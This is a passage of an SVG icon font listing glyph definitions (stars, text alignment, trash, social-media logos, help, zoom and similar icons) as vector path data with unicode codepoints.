<glyph glyph-name="star-o" unicode="&#xe933;" d="M913 500l-250 38-113 237c-21 42-79 42-100 0l-112-237-250-38c-46-8-63-62-30-96l180-183-42-259c-8-45 42-83 79-58l225 121 225-121c42-21 88 13 79 58l-41 259 179 183c33 34 12 92-29 96l0 0z m-242-250l42-246-213 117-212-117 41 246-171 175 238 38 104 220 108-225 238-37-175-171z" horiz-adv-x="1000" />

<glyph glyph-name="star" unicode="&#xe934;" d="M450 775l-112-237-250-38c-42-4-63-67-30-100l180-183-42-263c-8-46 42-79 79-58l225 117 225-117c42-21 88 12 79 58l-41 263 179 183c33 33 12 92-29 100l-250 38-113 237c-21 42-79 42-100 0z" horiz-adv-x="1000" />

<glyph glyph-name="text-align-justify" unicode="&#xe935;" d="M104-17c-33 0-62 25-62 55s29 54 62 54h792c33 0 62-25 62-54s-29-55-62-55h-792z m0 209c-33 0-62 25-62 54s29 54 62 54h792c33 0 62-25 62-54s-29-54-62-54h-792z m0 208c-33 0-62 25-62 54s29 54 62 54h792c33 0 62-25 62-54s-29-54-62-54h-792z m0 208c-33 0-62 25-62 55s29 54 62 54h792c33 0 62-25 62-54s-29-55-62-55h-792z" horiz-adv-x="1000" />

<glyph glyph-name="text-align-center" unicode="&#xe936;" d="M188 400c-34 0-63 25-63 54s29 54 63 54h620c38 0 63-25 63-54s-29-54-63-54h-620z m83-208c-33 0-63 25-63 54s30 54 63 54h458c34 0 63-25 63-54s-29-54-63-54h-458z m-167-209c-33 0-62 25-62 55s29 54 62 54h792c33 0 62-25 62-54s-29-55-62-55h-792z m254 625c-37 0-66 25-66 55s29 54 66 54h284c37 0 66-25 66-54s-29-55-66-55h-284z" horiz-adv-x="1000" />

<glyph glyph-name="tags" unicode="&#xe937;" d="M238 517c12 12 20 29 20 46 0 16-4 33-16 41s-25 17-42 17-33-4-42-17-16-25-16-41c0-17 4-34 16-42 13-13 25-17 42-17s29 4 38 13z m537-234c0-16-4-33-17-41l-237-238c-13-12-29-17-46-17-17 0-33 5-42 17l-345 346c-13 13-21 29-30 50s-16 38-16 54v200c0 17 4 29 16 42s25 17 42 17h200c17 0 38-5 58-13 25-4 38-17 50-29l346-346c13-8 21-25 21-42z m183 0c0-16-4-33-16-41l-238-238c-12-12-29-17-46-17-12 0-20 5-29 9-8 4-16 12-25 21l225 225c13 12 17 25 17 41 0 17-4 34-17 46l-346 346c-8 8-25 21-45 29-21 9-38 13-55 13h109c16 0 37-4 58-13 17-8 33-21 46-33l346-346c12-8 16-25 16-42z" horiz-adv-x="1000" />

<glyph glyph-name="text-align-left" unicode="&#xe938;" d="M104 400c-33 0-62 25-62 54s29 54 62 54h750c34 0 63-25 63-54s-29-54-63-54h-750z m0-208c-33 0-62 25-62 54s29 54 62 54h625c34 0 63-25 63-54s-29-54-63-54h-625z m0-209c-33 0-62 25-62 55s29 54 62 54h792c33 0 62-25 62-54s-29-55-62-55h-792z m0 625c-33 0-62 25-62 55s29 54 62 54h542c33 0 62-25 62-54s-29-55-62-55h-542z" horiz-adv-x="1000" />

<glyph glyph-name="text-align-right" unicode="&#xe939;" d="M896 400h-750c-33 0-63 25-63 54s30 54 63 54h750c33 0 62-25 62-54s-29-54-62-54z m0-208h-625c-33 0-63 25-63 54s30 54 63 54h625c33 0 62-25 62-54s-29-54-62-54z m0-209h-792c-33 0-62 25-62 55s29 54 62 54h792c33 0 62-25 62-54s-29-55-62-55z m0 625h-542c-33 0-62 25-62 55s29 54 62 54h542c33 0 62-25 62-54s-29-55-62-55z" horiz-adv-x="1000" />

<glyph glyph-name="close-circle" unicode="&#xe93a;" d="M896 579c42-71 62-146 62-229s-20-158-62-229c-42-71-96-125-167-167-71-42-146-62-229-62s-158 20-229 62c-71 42-125 96-167 167-41 71-62 146-62 229s21 158 62 229 96 125 167 167 146 62 229 62 158-20 229-62 125-96 167-167z m-333-229l125 125c16 17 16 46 0 63-17 20-46 20-63 4l-125-125-125 125c-46 41-108-25-67-67l125-125-125-125c-16-17-16-46 0-62 17-21 46-21 67-5l125 125 125-125c42-41 104 21 63 63l-125 129z" horiz-adv-x="1000" />

<glyph glyph-name="trash-o" unicode="&#xe93b;" d="M588 63h41c13 0 21 8 21 20v388c0 12-8 21-21 21h-41c-13 0-21-9-21-21v-388c0-8 12-20 21-20z m287 604h-142l-62 100c-17 25-42 41-71 41h-175c-29 0-54-16-71-41l-58-100h-142c-16 0-29-13-29-29v-30c0-16 13-29 29-29h29v-600c0-46 38-87 84-87h500c46 0 83 37 83 87v600h25c17 0 29 13 29 29v30c-4 16-16 29-29 29z m-454 50c0 4 4 4 8 4h163c4 0 8 0 8-4l29-50h-237l29 50z m342-738h-500v600h500v-600z m-367 84h42c12 0 20 8 20 20v388c0 12-8 21-20 21h-42c-13 0-21-9-21-21v-388c0-8 8-20 21-20z" horiz-adv-x="1000" />

<glyph glyph-name="font-awesome" unicode="&#xe93c;" d="M777 788h-679c-54 0-98-45-98-98v-679c0-54 44-99 98-99h679c54 0 98 45 98 99v679c0 53-44 98-98 98z m-89-556c0-8-7-11-15-15-33-14-67-27-105-27-53 0-77 33-140 33-46 0-93-17-132-34-2-1-5-1-7-2v-89c0-3 0-7-1-9v-3c-5-16-20-28-37-28-22 0-40 18-40 40v427c-15 12-26 30-26 51 0 37 30 66 66 66 36 0 65-29 65-66 0-21-9-39-25-51v-36c3 1 7 2 10 5 36 15 80 28 120 28 45 0 80-12 119-27 8-4 17-5 26-5 44 0 93 32 105 32 9 0 18-7 18-16v-274z" horiz-adv-x="875" />

<glyph glyph-name="user-circle-o" unicode="&#xe93d;" d="M313 58c54-33 120-54 187-54 71 0 133 21 188 54-21 25-46 46-71 63-34 21-75 29-117 29-75 0-146-33-187-92z m-84 71c67 79 163 129 271 129 58 0 117-16 171-45 37-21 71-50 100-84 50 59 79 138 79 221 0 192-154 350-350 350s-350-158-350-350c0-83 33-162 79-221z m271-237c-254 0-458 204-458 458s204 458 458 458 458-204 458-458-204-458-458-458z m0 383c-100 0-179 79-179 179s79 179 179 179 179-79 179-179-79-179-179-179z m0 108c38 0 71 34 71 71s-33 71-71 71-71-33-71-71 34-71 71-71z" horiz-adv-x="1000" />

<glyph glyph-name="video-camera" unicode="&#xe93e;" d="M575 642h-458c-42 0-75-34-75-71v-438c0-41 33-70 75-70h458c42 0 75 33 75 70v438c4 37-33 71-75 71z m304-59l-175-116v-238l175-116c34-21 79 0 79 37v396c0 37-45 62-79 37z" horiz-adv-x="1000" />

<glyph glyph-name="heart" unicode="&#xe93f;" d="M871 671c-100 83-242 67-333-25l-38-38-33 38c-92 92-238 104-334 25-112-96-116-263-16-367l346-354c20-21 58-21 79 0l346 354c100 100 95 271-17 367z" horiz-adv-x="1000" />

<glyph glyph-name="wrench" unicode="&#xe940;" d="M629 329l-375-375c-41-42-108-42-146 0s-41 109 0 146l375 375c-25 79-8 171 55 233 66 67 162 84 241 55 4 0 13-5 9-9-5-4-5-4-5-4-29-29-75-75-133-133 17-59 25-92 29-92s34-12 92-29c58 62 100 104 129 133 4 4 4 4 4 4s4-4 9-8c33-83 12-179-50-246-63-58-155-75-234-50z m-475-329c17-17 42-17 59 0 16 17 16 42 0 58s-42 17-59 0c-16-12-16-41 0-58z" horiz-adv-x="1000" />

<glyph glyph-name="help" unicode="&#xe941;" d="M104 579c42 71 96 125 167 167s146 62 229 62 158-20 229-62 125-96 167-167c42-71 62-146 62-229s-20-158-62-229c-42-71-96-125-167-167-71-42-146-62-229-62s-158 20-229 62c-71 42-125 96-167 167-41 71-62 146-62 229s21 158 62 229z m350-321h84l0 21c4 21 12 42 29 54l25 25c21 21 33 38 41 55s13 33 13 54c0 41-13 71-38 96s-62 33-108 33c-46 0-83-13-108-33s-42-55-42-96h96c0 16 4 29 17 41s25 9 41 9c34 0 50-17 50-54 0-13-4-25-8-34s-21-25-38-41c-20-17-33-34-41-55s-13-45-13-75z m-12-100c0-12 4-25 12-37 9-8 21-13 38-13s29 5 37 13c9 8 13 21 13 37 0 13-4 25-17 38-8 8-21 12-37 12s-30-4-38-12c0-13-8-25-8-38z" horiz-adv-x="1000" />

<glyph glyph-name="help-o" unicode="&#xe942;" d="M500-113c-254 0-462 209-462 463s208 463 462 463 463-209 463-463-209-463-463-463z m0 92c204 0 371 167 371 371s-167 371-371 371-371-167-371-371 167-371 371-371z m-46 279c0 30 4 55 13 71s21 38 41 54c21 17 34 34 38 42s8 21 8 33c0 38-16 55-50 55-16 0-29-5-37-17s-17-25-17-42h-96c0 42 13 75 42 96s62 33 108 33c46 0 84-12 109-33s37-54 37-96c0-16-4-37-12-54s-21-33-42-54l-25-25c-17-17-25-33-29-54l0-21h-88z m-12-100c0 13 4 25 16 38 9 8 21 12 38 12s29-4 37-12c9-8 17-21 17-38 0-12-4-25-12-37-9-8-21-13-38-13s-29 5-37 13c-17 8-21 21-21 37z" horiz-adv-x="1000" />

<glyph glyph-name="zoom-out-bold" unicode="&#xe943;" d="M750 167l196-196c17-17 17-50 0-67-17-17-50-21-67 0l-196 196c-66-54-150-83-245-83-217 0-396 179-396 396s179 395 396 395 395-179 395-395c0-92-33-175-83-246z m-454 291h279c25 0 46-20 46-50 0-25-21-45-46-45h-279c-25 0-46 20-46 45 0 30 21 50 46 50z m142-345c166 0 300 133 300 300s-134 300-300 300-300-134-300-300 133-300 300-300z" horiz-adv-x="1000" />

<glyph glyph-name="plus-square-o" unicode="&#xe944;" d="M867 717h-734v-730h730v730z m4 91c50 0 87-37 87-87v-746c0-46-37-88-87-88h-742c-50 5-87 42-87 92v742c0 50 37 87 87 87h742z m-421-412v175c0 25 21 46 46 46 29 0 46-17 46-46v-175h175c25 0 46-21 46-46s-21-46-46-46h-175v-175c0-25-21-46-46-46-25 0-46 21-46 46v175h-175c-25 0-46 21-46 46s21 46 46 46h175z" horiz-adv-x="1000" />

<glyph glyph-name="minus-square-o" unicode="&#xe945;" d="M867 717h-734v-730h730v730z m4 91c50 0 87-37 87-87v-746c0-46-37-88-87-88h-742c-50 5-87 42-87 92v742c0 50 37 87 87 87h742z m-592-504c-25 0-46 21-46 46s21 46 46 46h446c25 0 46-21 46-46s-21-46-46-46h-446z" horiz-adv-x="1000" />

<glyph glyph-name="minus-circle" unicode="&#xe946;" d="M104 579c42 71 96 125 167 167s146 62 229 62 158-20 229-62 125-96 167-167c42-71 62-146 62-229s-20-158-62-229c-42-71-96-125-167-167-71-42-146-62-229-62s-158 20-229 62c-71 42-125 96-167 167-41 71-62 146-62 229s21 158 62 229z m171-275h446c25 0 46 21 46 46s-21 46-46 46h-446c-25 0-46-21-46-46s21-46 46-46z" horiz-adv-x="1000" />

<glyph glyph-name="minus-circle-o" unicode="&#xe947;" d="M500-113c-254 0-462 209-462 463s208 463 462 463 463-209 463-463-209-463-463-463z m0 92c204 0 371 167 371 371s-167 371-371 371-371-167-371-371 167-371 371-371z m-221 325c-25 0-46 21-46 46s21 46 46 46h446c25 0 46-21 46-46s-21-46-46-46h-446z" horiz-adv-x="1000" />

<glyph glyph-name="code-bold" unicode="&#xe948;" d="M842 313l-125 125c-21 20-21 54 0 75 21 20 54 20 75 0l166-163c21-21 21-54 0-75l-166-171c-21-21-54-21-75 0s-21 54 0 75l125 134z m-388-359c-8-29-37-46-66-37-30 8-46 37-38 66l196 725c8 30 37 46 67 38 29-8 45-38 37-67l-196-725z m-166 225c20-21 20-54 0-75s-55-21-75 0l-167 171c-21 21-21 54 0 75l167 163c20 20 54 20 75 0 20-21 20-55 0-75l-125-125 125-134z" horiz-adv-x="1000" />

<glyph glyph-name="cloud-upload" unicode="&#xe949;" d="M779 425c100-8 179-92 179-192 0-108-87-195-191-195h-496c-125 0-229 104-229 233 0 121 87 221 204 233 50 96 146 159 254 159 138 0 254-100 279-238z m-366-96v-183c0-13 12-25 25-25h125c12 0 25 12 25 25v183h75c8 0 12 4 16 9 4 4 9 8 9 16 0 9-5 13-9 17l-162 162c-4 5-9 9-17 9s-12-4-17-9l-162-162c-4-4-8-8-8-17 0-8 4-12 8-16 4-5 8-9 17-9h75z" horiz-adv-x="1000" />

<glyph glyph-name="search-bold" unicode="&#xe94a;" d="M654 117c-62-46-137-71-216-71-205 0-367 162-367 367s162 366 367 366 366-162 366-366c0-84-25-159-71-217l163-163c21-20 21-54 0-75-21-21-54-21-75 0l-167 159z m-216 37c141 0 258 117 258 259s-117 258-258 258-259-117-259-258 117-259 259-259z" horiz-adv-x="1000" />

<glyph glyph-name="map-pin" unicode="&#xe94b;" d="M104 413c0 218 177 395 396 395s396-177 396-395c0-129-107-273-321-431-37-62-62-93-75-93s-37 31-75 93c-214 158-321 302-321 431z m396-125c69 0 125 55 125 125s-56 125-125 125-125-56-125-125 56-125 125-125z" horiz-adv-x="1000" />

<glyph glyph-name="meetup" unicode="&#xe94c;" d="M588 805c163 47 324-75 321-243 94-39 120-164 50-238 56-107 26-242-74-312-39-27-83-42-129-44-38-107-169-147-260-81-100-66-233-40-302 60-21 31-34 66-37 103-152 37-209 229-102 344-57 115 10 256 135 281 68 158 263 225 398 130z m-365-155l-4-11-11-1c-110-16-168-141-110-237l8-13-11-12c-102-94-51-267 85-289l16-3 0-16c2-35 12-69 32-98 56-82 166-103 248-48 2 2 3 3 5 5l3 2 0 0 14 11 12-11c73-64 188-29 212 66l4 15 16 0c43-2 84 10 120 35 87 62 111 182 55 273l-9 15 13 11c65 55 42 161-38 186l-16 5 1 15c12 151-133 262-278 214l-10-3-8 7c-116 89-294 27-349-118z m330-29c38 0 53-32 59-31 13 1 53 20 99 5 59-20 87-88 78-140s-26-92-69-171c-15-27-10-46 27-29 28 14 65-10 65-40 1-44-72-81-110-90-45-10-114-1-134 55-12 33-7 68 0 88 7 29 60 131 48 148-13 27-48-73-79-158-11-30-22-74-74-70-14 1-29 12-38 24-31 45 29 156 38 194 6 28-21 32-34 0-13-32-17-66-55-168-6-16-20-41-35-59-26-31-66-36-91-28-53 17-73 75-56 125 7 22 59 190 80 235 18 39 50 125 145 95 17-6 48-21 55-24 16-7 39 41 81 39z m-3-42c-4 1-9-2-19-10-2-2-15-13-20-16-17-13-35-18-56-8-16 8-39 18-50 22-36 11-56 0-76-35-3-6-6-12-10-19-2-5-8-18-9-20-6-14-18-48-34-94-2-7-2-7-4-15-8-24-17-49-25-76-5-16-9-30-14-45-10-33 2-64 29-73 14-4 35 1 46 15 11 13 23 34 28 47 13 36 23 64 31 91 4 13 14 48 16 54 3 9 5 16 8 24 12 29 36 50 66 49 38-3 56-38 47-74-2-8-5-18-10-32-2-4-11-29-14-36-5-13-9-24-12-35-10-32-11-53-8-58 3-4 8-7 7-7 13 0 17 3 25 23 1 4 8 22 7 20 2 6 5 13 9 26l4 9c18 51 30 79 41 102 7 17 15 29 23 37 23 23 59 22 77-8 17-27 10-48-17-114-2-5-2-5-4-10-24-58-22-50-24-59-6-19-7-41 0-60 9-26 47-38 85-29 37 8 79 38 78 49 0 0-5 4-5 4-35-17-66-19-86 12-15 23-10 47 5 74 40 74 55 111 63 159 7 36-16 81-50 92-16 5-33 5-53 0-3-1-14-4-13-4-7-1-12-2-17-3-14-1-23 3-32 11-3 2-4 4-7 7-5 5-6 6-8 7-5 5-9 6-18 6z" horiz-adv-x="1000" />

<glyph glyph-name="slideshow" unicode="&#xe94d;" d="M128 600h745c45 0 82-35 85-80l1-6v-557c0-46-35-83-80-86l-6-1h-745c-46 0-83 35-86 80l-1 6v558c0 46 35 83 80 86l7 0h745-745z m734-86h-724c-5 0-9-3-10-8l0-3v-536c0-5 3-9 8-10l2 0h724c5 0 9 3 10 8l1 2v536c0 6-5 11-11 11z m-227-124l3-2 166-166v-197h-608v135l75 75c8 8 20 9 29 3l3-3 75-75 227 228c8 8 21 9 30 2l0 0z m-367 53c39 0 71-33 71-72s-32-72-71-72-72 32-72 72 32 72 72 72z m565 274c23 0 42-19 42-42v-42h-750v42c0 23 19 42 42 42h666z m-125 116c23 0 42-18 42-41v-42h-500v42c0 23 19 41 42 41h416z" horiz-adv-x="1000" />

<glyph glyph-name="t-letter-bold" unicode="&#xe94e;" d="M925 808c18 0 33-14 33-33v-196c0-18-14-33-33-33h-65c-18 0-33 15-33 33v66h-245v-622h81c18 0 33-15 33-33v-66c0-18-14-33-33-33h-327c-18 0-33 15-33 33v66c0 18 15 33 33 33h82v622h-245v-66c0-18-15-33-33-33h-65c-18 0-33 15-33 33v196c0 18 14 33 33 33h850z" horiz-adv-x="1000" />

<glyph glyph-name="preferences" unicode="&#xe94f;" d="M246 333c67-29 142-33 208-4l13 4h25c4 0 12 0 16 0l-4-12 0 0c-8-25 0-50 21-67l4-4 13-8 0-4 0 0 0-5-13-8c-25-12-33-42-25-67 13-37 34-75 59-104 16-21 45-25 66-12l4 4 13 8 4-4 0 0 4-4v-13c0-4 0-12 4-16-8-9-20-13-33-13l-8 0h-525c-38 0-67 29-71 67l0 4v63c0 108 87 195 192 200l8 0h25z m471 125c33 9 66 9 100 0 4 0 8-4 8-8l0-4v-46c17-4 33-12 46-25l8-8 38 21c4 4 8 0 12-5 21-25 42-54 50-87 0-4 0-8-4-13l-4 0-38-20c5-17 5-38 0-55l0-12 38-21c4-4 8-8 4-12-8-34-25-63-50-88-4-4-8-4-12-4l-5 0-37 21c-13-13-29-21-46-29l-8-5v-45c0-5-4-9-9-13-33-8-66-8-100 0-4 0-8 4-8 8l0 5v45c-17 5-33 13-46 25l-8 9-38-21c-4-4-8 0-12 4-21 25-42 54-50 88 0 4 0 8 4 12l4 0 38 21c-4 17-4 37 0 54l0 13-38 20c-4 5-8 9-4 13 8 33 25 62 50 87 4 5 8 5 13 5l4 0 37-21c13 12 29 21 46 29l8 4v50c0 4 0 8 9 8z m75-154c-29 13-59 4-79-16-21-21-25-55-17-80 12-29 37-45 67-45 41 0 70 33 70 70 5 34-12 63-41 71z m-434 463c105 0 192-88 192-192s-87-192-192-192-191 84-191 192 83 192 191 192z" horiz-adv-x="1000" />

<glyph glyph-name="table-of-contents" unicode="&#xe950;" d="M854 850c34 0 63-29 63-62v-876c0-33-29-62-63-62h-708c-33 0-63 29-63 62v876c0 33 30 62 63 62h708z m21-208h-750v-730c0-8 8-16 17-20l4 0h708c9 0 17 8 21 16l0 4v730z m-604-584c12 0 21-8 21-20v-42c0-13-9-21-21-21h-42c-12 0-21 8-21 21v42c0 12 9 20 21 20h42z m500-20c12 0 21-9 21-21s-9-21-21-21h-417c-12 0-21 8-21 21s9 21 21 21h417z m-500 187c8 0 17-8 21-17l0-4v-41c0-9-9-17-17-21l-4 0h-42c-8 0-16 8-21 16l0 5v41c0 9 9 17 17 21l4 0h42z m500-21c12 0 21-8 21-21 0-8-9-16-17-20l-4 0h-417c-12 0-21 8-21 20 0 9 9 17 17 21l4 0h417z m-500 188c12 0 21-9 21-21v-42c0-12-9-21-21-21h-42c-12 0-21 9-21 21v42c0 12 9 21 21 21h42z m500-21c12 0 21-8 21-21s-9-21-21-21h-417c-12 0-21 9-21 21s9 21 21 21h417z m-500 187c8 0 17-8 21-16l0-4v-42c0-8-9-17-17-21l-4 0h-42c-8 0-16 8-21 17l0 4v42c0 8 9 16 17 20l4 0h42z m500-20c12 0 21-9 21-21 0-9-9-17-17-21l-4 0h-417c-12 0-21 8-21 21 0 8 9 16 17 21l4 0h417z m83 270h-708c-8 0-17-8-21-16l0-4v-105h750v105c0 8-8 16-21 20l0 0z" horiz-adv-x="1000" />

<glyph glyph-name="tv" unicode="&#xe951;" d="M875 725c46 0 79-33 83-79l0-4v-417c0-46-33-79-79-83l-4 0h-333v-75h250c25 0 41-17 41-42 0-21-16-38-37-42l-4 0h-584c-25 0-41 17-41 42 0 21 16 38 37 42l4 0h250v75h-333c-46 0-79 33-83 79l0 4v417c0 46 33 79 79 83l4 0h750z m0-83h-750v-417h750v417z" horiz-adv-x="1000" />

<glyph glyph-name="upload" unicode="&#xe952;" d="M883 308h-229v50h100c67 0 104 84 54 130l-254 254c-29 29-79 29-108 0l-254-250c-46-46-13-129 54-129h100v-55h-229c-42 0-75-33-75-75v-204c0-42 33-75 75-75h762c42 0 75 33 75 75v204c4 42-29 75-71 75z m-637 130l254 254 254-254h-179v-255h-154v255h-175z m637-409h-766v204h229v-50c0-41 33-75 75-75h154c42 0 75 34 75 75v50h229v-204z m-66 100c0-21-17-37-38-37-21 0-37 16-37 37 0 21 16 38 37 38 21 0 38-17 38-38z" horiz-adv-x="1000" />

<glyph glyph-name="instagram-comments" unicode="&#xe953;" d="M804 258c21 42 29 88 29 134 0 183-158 333-354 333-196 0-354-150-354-333 0-184 158-334 354-334 50 0 100 13 146 30l50-9 175-41c0 0 4 0 4 4l-50 216z" horiz-adv-x="1000" />

<glyph glyph-name="instagram-nested-gallery" unicode="&#xe954;" d="M792 642c50-38 83-100 83-167v-292c0-116-92-208-208-208h-292c-67 0-129 33-167 83h417c92 0 167 75 167 167v417z m-209 83c67 0 121-50 125-117l0-8v-333c0-67-50-121-116-125l-9 0h-333c-67 0-121 50-125 116l0 9v333c0 67 50 121 117 125l8 0h333z" horiz-adv-x="1000" />

<glyph glyph-name="instagram-post" unicode="&#xe955;" d="M838 225l0 0c12-4 20-12 20-21l0-4-66-279c-4-13-13-17-25-17-9 4-17 13-17 21l0 4 67 279c0 13 8 17 21 17z m-96 542c54 0 91-46 91-100v-338c0-12-8-21-20-21s-21 9-21 21v338c0 33-21 58-50 58h-650c-29 0-50-25-50-58v-634c0-33 21-58 50-58h387c13 0 21-8 21-21s-8-21-21-21h-387c-54 0-92 46-92 100v634c0 54 38 100 92 100h650z m-75-629c8 8 21 8 29 0 8-9 8-17 4-25l-4-5-63-66 63-67c8-8 8-21 0-29-4-4-8-4-13-4-4 0-8 0-12 4l-4 0-79 83c-9 9-9 17-5 25l5 4 79 80z m221 0c8 8 16 8 25 4l4-4 79-84c8-8 8-16 4-25l-4-4-79-83c-4-5-9-5-13-5-4 0-8 0-12 5-9 8-9 16-4 25l4 4 62 67-62 66c-9 13-9 25-4 34z m-384 441c79 0 142-62 142-141v-180c0-79-63-141-142-141h-175c-79 0-141 62-141 141v180c0 79 62 141 141 141h175z m0-41h-175c-54 0-100-46-100-100v-180c0-54 46-100 100-100h179c55 0 100 46 100 100v180c-4 54-50 100-104 100z m-87-67c66 0 121-54 121-121s-55-121-121-121c-67 0-121 54-121 121s54 121 121 121z m0-42c-42 0-79-33-79-79s37-79 79-79c41 0 79 33 79 79s-38 79-79 79z m129 63c17 0 29-13 29-29 0-17-12-30-29-30-17 0-29 13-29 30 0 16 12 29 29 29z" horiz-adv-x="1000" />

<glyph glyph-name="instagram-video" unicode="&#xe956;" d="M625 683c46 0 79-33 83-79l0-4v-500c0-46-33-79-79-83l-4 0h-500c-46 0-79 33-83 79l0 4v500c0 46 33 79 79 83l4 0h500z m-250-104c-125 0-229-104-229-229 0-125 104-229 229-229 125 0 229 104 229 229 0 125-104 229-229 229z m583 21v-479h-16c-75 0-129 46-146 67l-4 8v329l4 4c17 25 71 71 146 71h16z m-583-125c71 0 125-54 125-125s-54-125-125-125c-71 0-125 54-125 125s54 125 125 125z" horiz-adv-x="1000" />

<glyph glyph-name="instagram-gallery" unicode="&#xe957;" d="M817 350c75 0 137-58 141-133l0-9v-179c0-75-58-137-133-142l-8 0h-179c-75 0-138 59-142 134l0 8v179c0 75 58 138 133 142l9 0h179z m0-42h-179c-50 0-96-41-100-91l0-9v-179c0-50 41-96 91-100l9 0h179c50 0 96 42 100 92l0 8v179c0 50-42 96-92 100l-8 0z m-88-66c67 0 121-54 121-121s-54-121-121-121-121 54-121 121 55 121 121 121z m-521 25c25 0 42-17 42-42v-167c0-25-17-41-42-41h-166c-25 0-42 16-42 41v167c0 25 17 42 42 42h166z m242 0c13 0 21-9 21-21 0-8-8-17-17-21l-4 0h-117v-167h117c13 0 21-8 21-20 0-9-8-17-17-21l-4 0h-117c-20 0-37 16-41 37l0 4v167c0 21 16 38 37 42l4 0h117z m279-67c-41 0-79-33-79-79 0-42 33-79 79-79s79 33 79 79c0 42-37 79-79 79z m-521 25h-166v-167h166v167z m650 38c17 0 30-13 30-30 0-16-13-29-30-29s-29 13-29 29c0 17 13 30 29 30z m-650 295c25 0 42-16 42-41v-167c0-25-17-42-42-42h-166c-25 0-42 17-42 42v167c0 25 17 41 42 41h166z m292 0c25 0 42-16 42-41v-134c0-12-9-20-21-20s-21 12-21 20v134h-167v-167h125c13 0 21-8 21-21s-8-21-21-21h-125c-25 0-41 17-41 42v167c0 25 16 41 41 41h167z m-292-41h-166v-167h166v167z m584 41c25 0 41-16 41-41v-109c0-12-8-20-20-20s-21 8-21 20v109h-167v-109c0-12-8-20-21-20s-21 8-21 20v109c0 25 17 41 42 41h167z m-584 292c25 0 42-17 42-42v-166c0-25-17-42-42-42h-166c-25 0-42 17-42 42v166c0 25 17 42 42 42h166z m292 0c21 0 38-17 42-37l0-5v-166c0-21-17-38-38-42l-4 0h-167c-20 0-37 17-41 38l0 4v166c0 21 16 38 37 42l4 0h167z m292 0c21 0 37-17 41-37l0-5v-166c0-21-16-38-37-42l-4 0h-167c-21 0-37 17-42 38l0 4v166c0 21 17 38 38 42l4 0h167z m-584-42h-166v-166h166v166z m292 0h-167v-166h167v166z m292 0h-167v-166h167v166z" horiz-adv-x="1000" />

<glyph glyph-name="instagram-likes" unicode="&#xe958;" d="M846 538c-71 208-300 166-346 41-42 125-271 167-346-41-62-188 188-417 346-521 158 104 408 333 346 521z" horiz-adv-x="1000" />

<glyph glyph-name="facebook" unicode="&#xe959;" d="M858 808h-716c-54 0-100-45-100-100v-721c0-50 46-95 100-95h279v312h-129v146h129v113c0 129 75 195 192 195 54 0 112-8 112-8v-125h-62c-63 0-84-37-84-79v-96h142l-21-146h-117v-312h280c54 0 100 45 100 100v716c-5 55-50 100-105 100l0 0z" horiz-adv-x="1000" />

<glyph glyph-name="twitter" unicode="&#xe95a;" d="M863 538c0-9 0-17 0-25 0-250-188-534-534-534-108 0-204 29-287 84 16 0 29-5 46-5 87 0 166 30 233 80-83 0-150 54-175 129 12 0 25-4 37-4 17 0 34 4 50 8-87 17-150 92-150 183v9c25-13 55-21 84-25-50 33-84 91-84 158 0 33 9 67 25 96 92-113 234-188 388-196-4 12-4 29-4 42 0 104 83 187 187 187 54 0 104-21 138-58 41 8 83 25 121 46-13-42-42-80-84-105 38 5 75 13 109 30-30-38-63-71-100-100z" horiz-adv-x="1000" />

<glyph glyph-name="pinterest" unicode="&#xe95b;" d="M950 354c0-250-204-454-454-454-46 0-92 8-133 21 16 29 45 79 58 121 4 21 29 108 29 108 17-29 58-54 104-54 138 0 238 125 238 283 0 150-121 263-279 263-196 0-300-134-300-275 0-67 37-150 91-175 9-4 13-4 17 4 0 4 8 37 12 50 0 4 0 8-4 12-16 25-33 67-33 105-8 100 71 195 200 195 112 0 192-75 192-183 0-125-63-208-142-208-46 0-79 37-67 83 13 54 38 113 38 150 0 33-17 63-59 63-45 0-83-46-83-109 0-41 13-66 13-66s-46-192-55-225c-8-38-4-96 0-130-170 63-291 230-291 421 0 250 204 454 454 454s454-204 454-454z" horiz-adv-x="1000" />

<glyph glyph-name="frame-expand" unicode="&#xe95c;" d="M863 267c27 0 51-22 53-49l1-5v-226l-1-5c-2-25-23-46-48-48l-5-1h-225l-6 1c-25 2-46 23-48 48l-1 5 1 6c2 25 23 46 48 48l6 1h170v171l1 5c2 27 26 49 54 49z m-725 0c27 0 51-22 53-49l1-5v-171h171c27 0 51-22 53-49l1-6c0-27-22-51-49-53l-5-1h-225c-28 0-52 22-54 49l-1 5v226c0 30 25 54 55 54z m725 500c27 0 51-22 53-49l1-5v-225c0-30-24-55-54-55-28 0-52 22-54 49l-1 6v170h-170c-28 0-52 22-54 49l-1 6c0 27 22 51 49 53l6 1h225z m-500 0l5-1c25-2 46-23 48-48l1-5-1-6c-2-25-23-46-48-48l-5-1h-171v-170l-1-6c-2-27-26-49-53-49s-52 22-54 49l-1 6v225l1 5c2 25 23 46 48 48l6 1h225z" horiz-adv-x="1000" />

<glyph glyph-name="frame-minimize" unicode="&#xe95d;" d="M363 267c29 0 50-21 54-50l0-4v-226c0-29-25-54-54-54-30 0-50 21-55 50l0 4v171h-170c-30 0-50 21-55 50l0 5c0 29 21 50 50 54l5 0h225z m275 0c-30 0-50-21-55-50l0-4v-226c0-29 25-54 55-54 29 0 50 21 54 50l0 4v171h171c29 0 50 21 54 50l0 5c0 29-21 50-50 54l-4 0h-225z m-275 166c29 0 50 21 54 50l0 5v225c0 29-25 54-54 54-30 0-50-21-55-50l0-4v-171h-170c-30 0-50-21-55-50l0-4c0-30 21-50 50-55l5 0h225z m275 0c-30 0-50 21-55 50l0 5v225c0 29 25 54 55 54 29 0 50-21 54-50l0-4v-171h171c29 0 50-21 54-50l0-4c0-30-21-50-50-55l-4 0h-225z" horiz-adv-x="1000" />

